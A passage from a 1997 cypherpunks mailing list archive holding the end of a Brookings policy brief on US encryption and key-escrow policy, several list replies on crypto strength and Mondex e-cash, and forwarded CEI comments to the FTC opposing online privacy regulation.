vast computer networks. Multinational companies link
global operations over international networks. By
1999, all U.S. government benefits will be paid
electronically. Doctors will access data and
communicate remotely with patients, businesses will
buy services from consultants, contractors will sell
to government, researchers will provide policy advice,
seminars will be organized-all over computer networks.
Vast savings in time and resources and improvements in
business productivity seem possible. For this leap
forward in our economic infrastructure to be realized,
however, the information running through the system
will have to be authenticated, verified, protected
from unauthorized access, and guarded against witting
or unwitting corruption.

Equally profound changes are going on within the
military establishments whose investments initially
spurred the computer revolution. Our post-Desert Storm
military forces are as dependent on complex
computerized command, control, and communications
networks as commercial industry. The Defense
Department is today groping toward an information
technology-based Revolution in Military Affairs, a
future in which sensors, intelligence databases,
command and control systems, precision munitions, and
smart weapons platforms are seamlessly linked together
in real time to deliver measured military force
swiftly, surely, and over great distances.

In contrast to the situation of forty years ago,
enormous private sector investments are today driving
the engine of information technology, with the
military largely drawing on commercial technology for
its particular variant of the information revolution.
Commercial and military computer and communications
systems-like the core industrial infrastructure
underlying modern military power-are hopelessly
intermingled within the sinews of the U.S. information
economy. A new term, information warfare, explicitly
recognizes that an attack designed to disrupt our
military capability or will to fight is as likely to
target nominally civil infrastructure, like
telecommunications networks, the electric power grid,
the banking system, or air traffic control, as any
purely military system.

Widespread use of effective cryptography to secure and
protect the rivers of data flowing through computer
and communications systems is needed now to enable the
further development of the information infrastructure
for tomorrow's high-tech economy and to protect
military capabilities dependent on that same
information infrastructure.

What Are the Issues?


The heated debate over cryptography policy is
fundamentally driven by rapid technological change.
The price of computing power has been dropping 20 to
30 percent annually over decades now, an order of
magnitude greater than anything measured during the
first great Industrial Revolution of two centuries
ago.

Computing power is used to both make and break codes,
and as the cost of computing power plummets,
cryptographic systems that once offered adequate
protection for data become insecure. By the same
token, however, cheaper computers also make it cost
effective to encrypt data where once it would have
been uneconomic. Paradoxically, then, plummeting
computing costs have both enabled the widespread use
of encryption to defend information security and
increased the ability of moderate to large
organizations (in the private sector and governments)
to afford the computing resources needed to
successfully attack once-capable encryption systems.
To balance these shifting forces, the United States
must grapple with multiple and often conflicting
objectives.

First, there are constitutional issues. On the one
hand, the United States has a well-established
tradition of respect for privacy and civil liberties
that is a bedrock of our society. On the other hand,
there are few absolute rights-under court order,
communications can be legally intercepted, and private
homes may be entered and searched. Encryption-like
"speaking in tongues"-might even be interpreted as a
form of speech and offered the greater protection that
freedom of speech enjoys. Historically, the government
has not attempted to control the use of encryption
within domestic U.S. borders but instead limited its
export overseas. Similarly, court orders are required
to lawfully intercept domestic telephone
conversations, but not for foreign traffic. The legal
framework protecting data communications-including
encryption of data-has not changed to address the many
new channels for expression (and surveillance of
expression) opened up by the computer revolution. It
is now appropriate to establish an organized and
systematic legal framework for our information
society.

Second, we need to use strong cryptography to enable
electronic commerce on the burgeoning information
infrastructure that is going up all around us. The
potential economic benefits from moving forward
rapidly to locate our businesses on the information
superhighway seem large. Without ironclad security,
however, no business is going to drive its sensitive
data up the on-ramp. Strong cryptography is a small
but vital piece in the systems that will provide
information security.

Third, U.S. companies are world leaders in computers
and communications, where success in global markets is
an essential ingredient in maintaining competitive
advantage. But the market for information technology
is one in which capable foreign competitors stand
ready to pick up the baton of technological leadership
should American firms stumble. The economic
preeminence of U.S. information technology
companies-and the resulting benefits to the U.S.
economy-are arguably at risk should U.S. producers be
blocked from selling important technology that is
available from foreign competitors.

Law enforcement objectives, in contrast, argue for
controls on use of strong cryptography (while
recognizing that cryptography also protects against
electronic crimes). Since the dawn of the age of
telephony, lawful wiretapping has been viewed as an
essential tool for police, the legal extension of the
right to enter and search under warrant. In the
information age, with the proliferation of digital
technology, cryptography has the potential to deny
police the lawful access that they now enjoy to voice
and data communications.

National security has been another powerful argument
for limits on encryption. Though not often discussed
openly, interception of foreign communications traffic
is in all likelihood one of the most valuable and
reliable sources of intelligence for defense and
foreign policy purposes. Routine use of strong and
difficult-to-break cryptography in, say, the global
public telephone network would be a nightmare scenario
for both law enforcement and the intelligence
community.

But we should also recognize that while global
availability of strong encryption may limit our
offensive gathering of foreign intelligence and
perhaps in the future, offensive "information
warfare," the global economic success of U.S.
information technology producers also has a positive
value for offensive intelligence gathering. Even the
strongest encryption technology may be rendered
vulnerable by the way it is administered and used. A
global marketplace dominated by the products of the
United States and its allies-which will be well
understood by a substantial community of American
technologists-will be much more transparent to allied
intelligence gathering than a world market dominated
by the unfamiliar and poorly understood products of
others.

And strong encryption, even if pervasive and
unbreakable, will nonetheless have a positive national
security value in protecting U.S. information from the
snooping of adversaries, political and economic. It
will also have significant value as a defensive
rampart against the information warfare offensives of
adversaries. Arguably the United States, now reliant
on the most advanced and pervasive information
infrastructure in the world, is also the nation with
the most to lose to disruption by a successful
offensive attack.

Finally, we must acknowledge that as more and more
aspects of our personal and economic lives are
connected to, and accessible over, the information
superhighway-things like medical records, corporate
accounts, personal travel plans, even daily calendars
and diaries-the "wiretapping" metaphor for permitting
government access to electronic information begins to
break down. It is no strain to forecast a
not-too-distant digital future in which almost
everything-all sorts of personal information, records,
even art and music-is stored or communicated
electronically, connected to or accessible through
some computer network. As the Worldwide Web reaches
out to encompass all aspects of our lives, a
surreptitious government access hatch begins to
resemble a special door built into the basement of our
homes through which government can enter without our
knowledge or consent.

Our Constitution's protections against "unreasonable
searches and seizures" should be our guide as we chart
these deep and unknown waters. Government access to
private information should be governed by clear rules
that "we, the people" make after open debate. Even in
simpler times, there have been occasional but deeply
disturbing instances in which individuals in
government have abused powers granted for legitimate
law enforcement and national security purposes. As
pervasive electronic tendrils from the information
superhighway reach into the nooks and crannies of our
lives, the potential damage from poor judgment (or
worse yet, corruption) by some individual in
government will be enormous. It is vital that a system
with clear guidelines and strict accountability be put
into place to oversee our national encryption policy
as we strike a balance among the multiple, legitimate
objectives.

Where Are We Now?


In the late 1970s, industry, in collaboration with the
U.S. government, developed a Data Encryption Standard
(DES) based on coding keys (sequences of binary
digits, or bits) that were 56 bits long. Though widely
used today, steady advances in computer performance
now make this system vulnerable (commercial
supercomputers almost double in power every year,
sufficient to "break" a key that is one bit longer in
some given time). Much stronger encryption systems are
used within the military and other parts of the U.S.
government. Until 1996, the State Department did not
readily permit the export of encryption systems using
keys longer than 40 bits, which can be easily broken
today.

The Clinton administration, recognizing the need to
promote commercial use of stronger encryption,
unveiled such a system in April 1993 (actually
developed under previous administrations but not
publicly promoted). The system used special computer
circuitry dubbed the "Clipper" chip, with decoding
keys issued in two parts and held by two separate
government agencies-within the Treasury Department and
the Commerce Department. This Clipper chip initiative
championed the concept of "key escrow," with
government holding copies of the keys used to encrypt
data, and argued for its voluntary adoption by the
private sector as a solution to increasingly evident
data security problems.

Since only stronger encryption systems using the
Clipper chip, or similar technology, were likely to be
approved for export, critics argued that the system
was not really voluntary. No U.S. multinational
corporation would want to build and maintain two
separate computer and communications networks-one for
domestic use and one for international use.

There were other practical objections. It was unclear
how foreign governments would react to companies
operating in their nations giving the U.S. government
the keys to read encrypted communications, or even if
this would be required. There was suspicion that the
Clipper chip, with its proprietary
government-developed technology, was not as secure as
advertised and might even allow surreptitious
government interception without appropriate legal
safeguards. Even more important, there was concern
that a government-mandated technical solution was
being imposed on an industry that was far more capable
and responsive to continuing technological change than
any cobwebbed and inflexible government bureaucracy,
and that industry itself through market forces was
much better able to work out the best solutions to its
information security problems.

Furthermore, argued much of U.S. industry,
increasingly capable foreign producers were beginning
to market and sell encryption systems that were
stronger than what U.S. industry would be permitted to
sell in export markets. The net effect of
administration policy, in this case, would be to tie
the hands of U.S. industry and leave an important and
growing segment of the information industry to foreign
producers, free to sell any and all strong encryption
products to customers anywhere.

Stung by these criticisms, the Clinton administration
withdrew and regrouped. In mid-1994, it offered up a
new proposal in which "trusted third parties" within
the private sector, rather than the government itself,
would act as key escrow agents. This did little to
silence industry critics.

Finally, in 1996 the administration revealed a new
plan and made some important changes in the direction
of its policies. There would henceforth be no
restrictions on exports of cryptographic systems-based
on key length or technology-if those systems contained
so-called key recovery features. That is, if U.S.
exporters could demonstrate a viable plan in which
trusted third parties (possibly including
"self-escrow" within user organizations) would hold
(and supply to government when presented "appropriate
legal authority") information that would permit
recovery of code keys and decryption of data,
unrestricted export of such encryption systems would
be allowed. Over an interim period of two years,
exports of non-key recovery 56-bit cryptography
systems would be permitted by producers demonstrating
a commitment to develop viable key recovery systems.
Cryptographic systems would be reclassified as a
dual-use commercial product, rather than a munition,
and export controls transferred from the State
Department to the Commerce Department (though the
Department of Justice would now play a new advisory
role in the export licensing process). Finally, an
explicitly international framework would be sought,
with mutual access to national key recovery agents
negotiated with foreign governments through carefully
defined legal procedures.

Though some in the U..S. business community continued
to object, initial reaction was much more favorable
than with previous cryptography initiatives. The
government had worked with U.S. business in developing
the new initiative, and a number of major U.S.
computer and software companies voiced support for the
general principles outlined in the initiative. (A
system that enabled recovery of their own encrypted
business data, in fact, was actually useful to
companies in dealing with the risks of employee
turnover.) Others took a wait-and-see approach.

The wait was not a long one. Within months, a number
of the proposal's initial supporters had publicly or
privately defected as the details of its
implementation were revealed. One major sticking point
was the government's apparent desire to involve itself
in frequent and detailed reviews of proprietary
company business plans and progress in developing key
recovery systems, as a condition for continued
approval of interim exports of 56-bit systems.

By mid-1997, some additional problems had become
visible. A U.S. attempt at internationalizing the key
recovery principle met only limited success: a draft
policy from the Organization for Economic Cooperation
and Development (OECD) recommended only that the
issues be left to national discretion. While the
United States, Britain, and France publicly supported
the idea (and Japanese officials made it clear
privately that they too would cooperate), opinion in
Germany was divided, and other countries hesitated.
Dueling bills-establishing a legal framework for key
recovery, decontrolling cryptography export-were
debated on Capitol Hill. On the face of it, another
impasse was shaping up.

In fact, however, with a little more flexibility and
some degree of innovation, the basic elements of a
reasonable compromise are now in sight and may yet be
achieved. For the first time, the varied interests at
stake are close enough to a workable solution to make
establishment of a functioning and effective national
cryptography policy a real possibility.

Seeking Common Ground


Four basic elements make up the core of what a
national cryptography policy should do. First and
foremost, strong cryptography-strong enough to resist
the attacks that rapidly improving computer technology
will continue to breed-must be available for routine
business use. In an integrated global economy, this
also means that it must be usable and exportable
around the world. Current initiatives that would allow
export of any technological solution, of unlimited
strength, subject only to the proviso that an
acceptable key recovery system be maintained with a
suitably defined and trusted party (including
self-escrow), are headed in the right direction. This
will permit market forces to determine the most cost
effective and flexible technologies, build in the
ability to respond dynamically to continuing
innovations in computer and communications technology,
and yet maintain the ability of law enforcement and
national security authorities to gain lawful access to
encrypted communications when a critical national
interest makes such access imperative.

But the government should be more forthright in
presenting its case. Though it is true that no
constraints on domestic use of encryption are being
proposed, the only product likely to gain wide
acceptance in today's global economy is cryptography
that is exportable to one's foreign subsidiaries and
business partners. The government should be crystal
clear in acknowledging that this debate is in fact
about the encryption systems that will be used widely
within the domestic U.S. economy. Also, key recovery
remains an untried and untested system. It is entirely
possible that a better solution to the cryptography
problem may be discovered as computing technology
advances, and policy should be flexible enough to
adapt if this happens. The critical thing is the
principle: strong encryption, widely available, with
the potential for lawful decryption by accountable
authorities.

The government still must establish clear principles
and a transparent cryptography policy. The new export
regulations do not explicitly address a large number
of significant issues (for example, backwards
compatibility of key escrow with interim 56-bit
systems, length of time escrowed keys must be kept for
different types of data) that are now being defined in
a piecemeal and private fashion as individual
companies' key recovery product development plans are
submitted with license requests. Various "exceptions"
to the infant policy- permitting the export of
stronger encryption without key recovery, for example,
in specialized financial applications, or to banks and
foreign subsidiaries of U.S. companies- are announced
weekly. A "black box" process ("just submit it, and
we'll tell you if it's OK") that sets limits on
cryptography without open discussion and debate and
forces Americans to struggle to infer the policy from
the sparse and sometimes inaccurate details published
in the press is totally unacceptable in an area this
important to the nation.

A second core element of a new national policy-and one
that has yet to be carefully addressed by any broad
initiative-is the construction of a clear, up-to-date
legal framework for, and safeguards on, government
access to encrypted data and communications.
Government access is only tolerable in pursuing the
legitimate social objectives outlined earlier. The
legal framework defining privacy and freedom of speech
in electronic data and communications is currently a
crazy, patchwork quilt with many holes in it. The
administration's new rules specify that key recovery
agents must hand over keys to the government within
two hours after receiving "appropriate legal
authority" but nowhere define precisely what this
authority must be. Is a court order required, or
merely a signature from a political appointee, and
under what circumstances? Our laws should be debated
and updated to define the answers better and more
comprehensively, given current and foreseeable
technological realities.

Careful attention must also be paid to the potential
for abuse or corruption. Even after appropriate legal
authority is granted on paper for some narrow purpose,
there is typically substantial room for interpretation
as to what is "reasonable" in deciding how wide to
cast an electronic net in trapping suspicious
communications and how to deal with unexpected
discoveries that turn up. Most government officials
can be expected to behave in a responsible and lawful
way, but an excessively curious or aggressive, or even
corrupt, official using a legal interception to "surf"
through data or communications beyond its intended
scope creates a potential for damage that will grow
just as quickly as the information superhighway
itself. The same computer technology that makes
electronic communication so cheap and pervasive also
makes it possible to electronically record and log,
with a permanent and verifiable audit trail, any
government interception of electronic communications.
Just as financial services companies safeguard against
abuse by logging and taping telephone contacts with
customers, comprehensive logs and a verifiable audit
trail should be automatically recorded and stored
electronically in each and every instance that a
government official intercepts private data or
communications. In addition, tougher standards for
private abuse of personal data and illegal access to
private communications should be included in whatever
new legal framework is adopted, and significant
penalties should be defined.

Third, a national cryptography policy must recognize
that the problems-and solutions-outlined above are
inherently international in scope. Law enforcement,
national security, regulation and oversight of global
finance and trade are all areas that span national
boundaries today and require cooperation among
governments. Just as our private sector works with its
foreign partners to define standards that allow it to
operate easily and effectively in global markets, the
U.S. government must work with foreign governments to
define an international encryption policy that makes
the U.S. approach compatible with foreign systems.
U.S. requirements imposed on U.S.-based businesses
must be compatible with the foreign environments in
which they operate.

U.S. requirements should also be no more onerous than
those imposed by foreign governments on their business
communities. A level playing field, with common global
rules of the game, is needed to avoid giving economic
rivals competitive advantages over one another. The
administration made an important and correct decision
in seeking an international consensus on the key
recovery approach to strong encryption and must be
sure to continue to work hard in seeking this common
global approach. While it has yet to achieve such a
consensus within the OECD, many of the key players
with the technical capability to ship advanced
cryptography products and affect global
markets-Britain, France, and (quietly) Japan-are
supporting the U.S. approach, and if a few more (like
Germany and Israel) can be brought on board, the
critical mass around which the core of an
international agreement can be assembled will exist.

Finally, with cryptography set to play such a key role
in tomorrow's information infrastructure, some new
institution that provides a framework for business and
government to jointly examine both the overall
security of our information infrastructure and the
integrity of its individual parts is needed. At the
micro level, we must recognize that acquiring a
cryptographic product is not like buying a computer or
auto- simply testing or using it within an
organization gives insufficient insight into its
quality or utility. The essence of an effective
cryptography system is what the most capable and
potentially hostile forces outside a business or other
organization can do with the system. There are also
obvious economic benefits from some sort of
government-industry testing and certification process
that spares individual customers a costly and
duplicative investment in determining the
effectiveness of a cryptography product (and makes use
of sensitive information that may be available only to
the government). At the macro level, the integrity of
our power grid, banking system, and phone network are
clearly as vital to our national security as the
number of transport aircraft the U.S. Air Force buys,
and both government and industry have an obvious
interest in scrutinizing the entire information
infrastructure and taking steps to reduce weaknesses
and vulnerabilities. Government and the private sector
should form an oversight body tasked with both
reviewing the overall integrity and security of the
national information infrastructure and creating a
voluntary testing and certification process for the
information security products developed by the private
sector.

A national cryptography policy built around these four
elements- strong cryptography put into wide use, a
strengthened legal framework and electronic logging
system that provides rigorous oversight and
accountability for government access to the keys
needed to intercept and read coded data, negotiation
of an agreement with our close allies on a global
encryption standard, and formation of a
government/private sector oversight body to review
both the overall security of our national information
infrastructure and the voluntary testing and
certification of encryption and security products-will
leave many (maybe even most) participants in the
current debate unsatisfied. An absolute right to
privacy would not be created in the electronic realm.
The government would probably face greater constraints
in seeking lawful access to electronic communications,
and maintenance of auditable records probably will
create some additional costs. Business is being asked
to bear some burden in keeping the keys needed to
decrypt confidential communications for a time.
Intelligence and national security officials will be
more dependent than ever before on cooperation with
their allied counterparts. Cooperation on common rules
of the game for encryption at the international level
will have to be carefully negotiated. None of this
will be painless. But it must be done if we are to
balance an important and complex set of interests as
we enter the next century, the age of the information
society.

Kenneth Flamm is a senior fellow in the Brookings
Foreign Policy studies program and the author of
Mismanaged Trade? Strategic Policy and the
Semiconductor Industry (Brookings, 1996). The views
expressed in this Policy Brief are those of the author
and not necessarily those of the trustees, officers,
or other staff members of the Brookings Institution.


-------------------------
Declan McCullagh
Time Inc.
The Netly News Network
Washington Correspondent
http://netlynews.com/














From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ? the Platypus {aka David Formosa} <dformosa@st.nepean.uws.edu.au>
Date: Fri, 18 Jul 1997 11:52:30 +0800
Subject: Re: ESPN hacked -- got info? (fwd)
In-Reply-To: <199707180310.XAA23878@homeport.org>
Message-ID: <Pine.LNX.3.93.970718093355.213D-100000@shirley>
MIME-Version: 1.0
Content-Type: text/plain



On Thu, 17 Jul 1997, Adam Shostack wrote:

> 	Strong crypto is useful not in building a web site,

It is when your transfuring large amounts of money via it.  The secuarty
should cost more to break to brack then you can make from braking it.

Please excuse my spelling as I suffer from agraphia see the url in my header. 
Never trust a country with more peaple then sheep.  ex-net.scum and proud
You Say To People "Throw Off Your Chains" And They Make New Chains For
Themselves? --Terry Pratchett





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Steve Schear <azur@netcom.com>
Date: Sat, 19 Jul 1997 01:11:11 +0800
To: Ryan Lackey <cypherpunks@Algebra.COM
Subject: Re: mondex
In-Reply-To: <199707181026.GAA01342@the-great-machine.mit.edu>
Message-ID: <v03102814aff5515737fd@[10.0.2.15]>
MIME-Version: 1.0
Content-Type: text/plain



At 6:26 AM -0400 7/18/97, Ryan Lackey wrote:
>It would be kind of impressive in a way if Mondex were lame about
>allowing other currencies to proliferate free of state influences, yet
>managed to get the basic technology employed around the world, then some
>cypherpunkish group came up with their own cards, a little bit of
>software, etc. and then issued currency with more behind it than Mondex
>franchisees, had higher profits than Mondex, and then were to be the
>only currencies anyone would trust after the collapse of a few state-backed
>currencies.  Also, I'd trust the cypherpunkish crowd to do a better job
>of hardware and software design for the cards and system, so they're
>likely to be more secure in that fashion as well.
>
>Am I being utterly out of touch with reality, or only tangential to it?

Actually Doug Barnes, C2, gave a brief but excellent rump session talk at
FC '97 pointing out that Mondex could be a near ideal way to pay for fully
anonymous e$, since settlement can be offline, immediate, and
non-repudiatable.

--Steve






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Declan McCullagh <declan@well.com>
Date: Sat, 19 Jul 1997 01:47:10 +0800
To: cypherpunks@toad.com
Subject: FTC privacy comments from CEI and National Consumer Coalition
Message-ID: <Pine.GSO.3.95.970718103108.13136X-100000@well.com>
MIME-Version: 1.0
Content-Type: text/plain





---------- Forwarded message ----------
Date: Fri, 18 Jul 1997 10:30:59 -0700 (PDT)
From: Declan McCullagh <declan@well.com>
To: fight-censorship-announce@vorlon.mit.edu
Subject: FTC privacy comments from CEI and National Consumer Coalition

The Competitive Enterprise Institute and the National Consumer Coalition
filed these comments in response to the FTC's four-day privacy hearing
last month. Some excerpts:
	
	The fear over children seeing sexually explicit materials
	online led to hasty calls for Internet censorship in the
	Communications Decency Act. Yet the Supreme Court
	recently struck down the law, ruling that the Federal
	government should not be in the business of trying to
	protect children with such a blunt - and patently
	unconstitutional - instrument. Similarly, the  rhetoric
	surrounding the issue of children's privacy on the
	Internet has led to hasty calls for regulation.  Indeed,
	the Administration has taken a strong, even ominous
	position: "This problem warrants prompt attention. 
	Otherwise, government action may be required." [...]

	Sometimes information has been released to anybody and
	everybody, via chat rooms or other forums.  Since this
	information becomes part of the knowledge of others, our
	"property right" to control this information is actually
	a "right" to control the actions of other people who now
	have this information.  This is an infringement upon our
	basic freedoms of association, contract, and speech.
	There is nothing wrong with collecting information freely
	placed in public, as much of this information is. [...]

More info:

 http://pathfinder.com/netly/editorial/0,1012,1050,00.html
 http://pathfinder.com/netly/opinion/0,1042,1055,00.html

-Declan

---------- Forwarded message ----------

July 14, 1997

Secretary
Federal Trade Commission
Room H-159
Sixth St. and Pennsylvania Avenue, NW
Washington, D.C. 20580

Consumer Privacy 1997
Additional Comments P954807


To the Secretary:

The Competitive Enterprise Institute and the National
Consumer Coalition hereby file additional comments on
the Commission's June 10-13 hearings on "Consumer
Privacy Issues Posed by the Online Marketplace." CEI
is a non-profit, non-partisan free-market research and
advocacy group.   The NCC is a coalition of nine
organizations dedicated to the proposition that
consumers are best served by a free market in goods
and services.   We thank the Commission for including
us in the four Roundtable discussions during the
hearings, and appreciate the opportunity to elaborate
upon some of the issues raised during the course of
the hearings.

What is Privacy? - Part II

In our opening comments, we wrote that when it comes
to collection of consumer data, "privacy is not a
right, it is a preference."   The evidence presented
during the hearings regarding ways to "protect"
privacy, as well as the surveys showing consumer
views, have convinced us that this remains true.

The Harris/Westin survey was an interesting
contribution to the discussion of privacy on the
Internet. We are not convinced, however, that everyone
interviewed understood "privacy" in the same way.
Privacy is an abstraction, like "freedom" or
"justice," so it is likely that the people surveyed
imposed their own concerns upon the term "privacy."
One point on which the survey is clear is that people
who are concerned about their privacy have done
something about it.  In this case, it is more
illuminating to look at what people do than at what
they say.

Nevertheless, some have used this survey to support
their arguments for federal regulation and
congressional privacy legislation.  Neither of these
would be appropriate responses to consumers' hesitance
towards Internet commerce.  It is the job of companies
operating on the Internet to gain consumer confidence,
not the duty of the government. Indeed, the proper
role for the government is to guard against force,
theft, and fraud.

Property Rights on the Internet

Professor Alan Westin said that web users "are worried
that their e-mail communications may be intercepted,
their visits to web sites can be covertly tracked,
their participation in chat rooms and forums can be
monitored without their consent."   One possible
solution was to give individuals a "property right" in
the information they have released onto the Internet.
 From this follows a call for federal protection of
this "property right" via limits on the collection and
sale of personal data.

The argument that people have a "property right" in
their personal data is ironic, as it comes from those
who would have the government infringe upon the
property rights of both ISPs and companies on the Web.
 We believe that this upside-down conception of
"property" will work against consumers' interests in
freedom of contract and association.

Traditionally, private property rights have been
understood to be the means by which we secure our
privacy, as expressed in the old adage, "A man's home
is his castle." Our system of property rights enables
us to enjoy privacy (i.e. from government intrusion).
 In recent years, however, the basis for legal claims
has become the idea of an  inviolate personhood.  A
"legal right" to information about oneself on the
Internet, as some have advocated, is the next step.
>From this comes the "right" to control information
about oneself after one has already released it.  This
is a step in the wrong direction.

If an individual has released information about
himself in a contractual agreement with certain limits
on it, then he has a right to see that that
information is treated in a certain way.  For example,
if a company web page says that it will not collect
information, and it does, then that is a broken
contract.  On the other hand, if a company says it
will collect all kinds of information, then
privacy-sensitive individuals have been warned and
should avoid that site.  From the examples discussed
at the hearing, it seems that many companies are still
getting used to the way the Internet works, and they
are only beginning to understand the utility of
publishing privacy policies. For example, the New York
Times discovered during the course of the hearings
that it had no published privacy policies on its web
site, a situation it addressed immediately.
Time-Warner's Pathfinder site recently added prominent
links to its privacy policy as well.

Sometimes information has been released to anybody and
everybody, via chat rooms or other forums.  Since this
information becomes part of the knowledge of others,
our "property right" to control this information is
actually a "right" to control the actions of other
people who now have this information.  This is an
infringement upon our basic freedoms of association,
contract, and speech. There is nothing wrong with
collecting information freely placed in public, as
much of this information is.  Nor is there anything
wrong with one party selling information to another
party as long as it was not under fraudulent
circumstances.  If a person objects to this
information being sold, then it is up to the
individual to make alternative arrangements with which
he is more comfortable. .  In other words, protecting
your privacy is your responsibility. That is the value
inherent in the freedom to contract.

Bringing back the original conception of property
rights, as well as freedom of contract, is the best
way of protecting an individual's privacy preferences
on the Internet. Rather than implementing a system of
government regulation of data collection practices,
people should be able to choose whether or not to
contract with a company or otherwise.  Restricting the
downstream actions of others based upon a made-up
right will undercut our other valued freedoms.

On Self-Regulation

We laud the Federal Trade Commission for its cautious
response toward calls to regulate the Internet.  We
are also pleased with the Clinton Administration's
stated intention to refrain from regulating most parts
of the Internet.   We agree in principle that
data-gatherers ought to inform consumers what kinds of
data they are collecting and how that data will be
used.  If it really is true that consumers are highly
concerned about this, then companies scrambling to
sell goods and services over the Internet will
accommodate them. (We also note that there are already
strong incentives for information brokers to ensure
the accuracy of information they collect, since there
is no market for inaccurate information.)

What troubles us is the concept of "self-regulation."
Although the term implies a lack of government
regulation, many of these codes are being developed in
response to a threat of regulation. As the Clinton
Administration's recently released report on Internet
commerce stated, "We believe that private efforts of
industry working in cooperation with consumer groups
are preferable to government regulation, but if
effective privacy protection cannot be provided in
this way, we will reevaluate this policy."   We
believe that the Commission should not use
"self-regulation" as a way to steer the development of
policies on the Internet  without going through the
standard process for proposing regulations.  The
Commission must still defend whatever goals it
proposes.

One component of this "self-regulation" was the
Platform for Privacy Preferences.   This template
would allow consumers to fine-tune their preferences
and allow them to know what sort of policies a web
site has.  This may be a fine idea, and we hope that
if consumers find it acceptable, it will be adopted by
many organizations.

However, we do not believe that a single privacy
standard is necessarily desirable.  There are many
real-world examples of competing standards co-existing
peacefully.   There are different monetary systems,
there are different systems of measurement (English
and metric, Celsius and Fahrenheit), there are
different languages. The Commission should be wary of
backing a single standard for the Internet.

The threat of regulation is nearly as serious as
actual regulation.  It may well be that the solutions
supported by the Commission and the Administration are
the best ones.  It also may be that there is an
alternate solution around the corner, one which we
cannot predict now but one which might be stifled
because it does not match the goals supported by
current government officials.  This could have very
serious ramifications for the future development of
the Internet.  After all, companies already entrenched
in a particular market that ask for regulation often
do so in order to constrain the actions of future
competitors and to derive windfall benefits, a
practice known as "rent-seeking."  If regulation
stymies the growth of the Internet, we will have no
way of knowing what we have given up as a result.

The idea that federal regulation of the Internet is
somehow better than a market solution to privacy
questions is completely unfounded.  Indeed, the
evidence is that federal regulation in every other
sector of American life has had adverse and unforeseen
consequences which end up hurting consumers.   There
is no reason to believe that federal regulation of
privacy practices will be any better than the current
situation, and it may well be worse.

Children and The Internet

The fear over children seeing sexually explicit
materials online led to hasty calls for Internet
censorship in the Communications Decency Act. Yet the
Supreme Court recently struck down the law, ruling
that the Federal government should not be in the
business of trying to protect children with such a
blunt - and patently unconstitutional - instrument.
Similarly, the  rhetoric surrounding the issue of
children's privacy on the Internet has led to hasty
calls for regulation.  Indeed, the Administration has
taken a strong, even ominous position: "This problem
warrants prompt attention.  Otherwise, government
action may be required."

We believe that before the Commission begins to
regulate in the name of children, it should recognize
from the start that today's children are tomorrow's
adults, and that these regulations may restrict their
rights when they are grown up.  The Commission should
be wary of proposals which would effectively treat
adults like children.

The Center for Media Education's report on the privacy
practices of some web sites seemed to shock the
Commission.  Yet we are not sure why the fact that a
toothpaste company which sends a solicited e-mail to a
child in the name of the Tooth Fairy - an e-mail which
contains neither the name of the product being sold
nor the name of the company -is so disturbing,
especially since for many years people have been able
to have letters from Santa Claus sent to children. We
are in fact puzzled as to why similar "information
collection practices" which have gone on for decades
(e.g. children sending box tops away for magic decoder
rings) are suddenly sinister when performed over the
Internet.

We note that CME's primary objection is advertising
itself, and "privacy" is just a means to criticize it.
 For example, one target of CME's outrage is "animated
product spokescharacters," e.g. Tony the Tiger, which
"interact with your children...fostering intimate
relationships that compel your children to buy
specific products and services."   That these
"spokescharacters" also ask children for e-mail
addresses appears to be a slightly less urgent
concern. CME's recommendations to the Commission
include restrictions on the use of these cartoons:
"Product and other fictional figures should not be
used to solicit personally identifiable information
from children."   Indeed, elsewhere CME states
explicitly that "there should be no direct interaction
between children and product spokescharacters"  on web
pages.  This is tantamount to a ban on selected
content simply because of its advertising nature.

This is not the proper forum for a discussion of the
great value of advertising to consumers, and why
advertising is not, and never was, a sinister seducer
of consumers.   We will, however, say that children
are far more skeptical of advertising than CME gives
them credit for.  No matter how much advertising, or
how little, there is, children will still want things
and their parents can still tell them, "No."  In
short, it appears that this issue has very little to
do with privacy on the Internet, and far more to do
with CME's anti-advertising agenda.

Nonetheless, CME did introduce some interesting
issues.   CME looked at the existence and content of
privacy practices on children's web sites, and
publicized them. There is nothing wrong with this;
indeed, if children's privacy is such a high concern
for individuals, then companies will respond (many of
the web sites in question addressed the issue as soon
as it was brought to their attention).  As more and
more people become comfortable with the Internet, and
become aware of its capabilities, we expect to see all
kinds of practices - from content, to advertising, to
data collection - to become more refined in response
to consumer demand.

CME also raised the question of how and when to obtain
verifiable parental consent to collect information
from children. One suggestion was to have parents mail
in a signed form indicating that their child may use
the web page and may divulge certain information.  Not
only would this curtail what is an essentially benign
practice - not even CME can explain what actual harm
might result from this collection - but anyone who has
ever known a child to forge his parent's signature to
play hooky knows that this is not a good solution.

It is an irony of the Internet that the technology
which enables data-gatherers to collect information on
what people look at can easily be thwarted by
Anonymizers and other disguising technologies.  It
still holds true that sometimes on the Internet, as
the famous New Yorker animal cartoon showed, "nobody
knows you're a dog."  Nobody has to know that you are
or are not a child, either.  Obviously, forcing
children to identify themselves as minors, especially
in such a public area as the Internet, would be
unwise.

Consequently, regulations aimed at "protecting
children's privacy" are going to hit adults as well.
For this reason, we urge the Commission to refrain
from drawing up regulations specifically targeted
towards children. Nor should the role of parents be
underestimated or tossed aside in favor of federal
regulation.  Though the Harris/Westin survey showed a
nearly unanimous belief that children's privacy ought
to be protected on the Internet, the survey also said
that not even a plurality of parents have done much to
protect it.  There are a plethora of technologies
available to enable parents to monitor and adjust what
their children see, and more are on the way.  We urge
parents to keep in mind that just as they would think
twice before allowing a child wander around New York
City alone, they should supervise their children on
the Internet.

Conclusion

The Commission is under a great deal of pressure, from
within the government and without, to regulate at
least some parts of the Internet. As more and more
people become Internet users, it is even more
important for the government to refrain from
regulating.  The Commission should confine itself to
policing fraud and investigating any actual injury.


Julie DeFalco on behalf of the Competitive Enterprise
Institute and for the National Consumer Coalition
Endnotes



-------------------------
Declan McCullagh
Time Inc.
The Netly News Network
Washington Correspondent
http://netlynews.com/










From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Sat, 19 Jul 1997 01:36:49 +0800
To: cypherpunks@Algebra.COM
Subject: Will Monolithic Apps Dominate?
In-Reply-To: <Pine.WNT.3.96.970718103337.96A-100000@jadams.seahawk.navy.mil>
Message-ID: <v03102807aff555424d99@[207.167.93.63]>
MIME-Version: 1.0
